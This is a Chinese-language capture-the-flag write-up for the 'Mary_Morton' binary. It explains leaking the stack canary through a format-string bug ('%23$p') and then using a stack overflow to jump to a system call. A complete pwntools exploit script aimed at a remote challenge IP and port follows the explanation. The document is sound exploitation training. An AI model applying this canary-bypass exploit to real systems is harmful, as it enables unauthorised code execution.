检查文件信息
amd64-elf文件
开启了Canary保护
开启了NX保护
ida静态分析
进入到sub_4008EB函数 格式化字符串漏洞
另外进入到sub_400960()函数有栈溢出漏洞
但是有一点开启了Canary 那么我们可以通过 格式化字符串任意读 泄露Canary地址 然后利用这个地址来进行溢出漏洞的利用 栈分布如图
而我们知道 v2就是用来储存canary的值的变量
而buf 大小位0x90
v2的大小位 0x8
覆盖return addr,需要0x90-0x8=0x88大小去覆盖,然后放上canary的值,0覆盖ebp,最后返回地址改为system的返回地址既可以
但是我们要确定偏移地址
所以我们用gdb确定偏移地址是6位
但是因为是amd64位
所以有8个寄存器来存值
继而
偏移量为 0x88/0x8 = 0x11 也就是17
那么 17+6 = 23就是canary的值
格式化 payload = ‘%23$p’
exp
#_*_coding:utf-8_*_
from pwn import *
import sys
context.log_level = 'debug'
ip = '111.200.241.244'
port = 60960
if sys.argv[1] == 'remote':
io = remote(ip,port)
#elf = ELF('./Mary_Morton')
else:
io = process('./Mary_Morton')
#elf = ELF('./Mary_Morton')
#buf ---> (0x90 - 0x8) / 0x8 = 0x11 ||| 0x11+6
io.recvuntil("Select your weapon ")
io.sendline("2")
system_addr = 0x004008DA
payload = "%23$p"
io.sendline(payload)
io.recvuntil("0x")
canary_addr = int(io.recv(16),16)
print(hex(canary_addr))
io.recvuntil("3. Exit the battle ")
io.sendline("1")
payload = "a" * 0x88 + p64(canary_addr)+p64(0)+p64(system_addr)
io.sendline(payload)
io.interactive()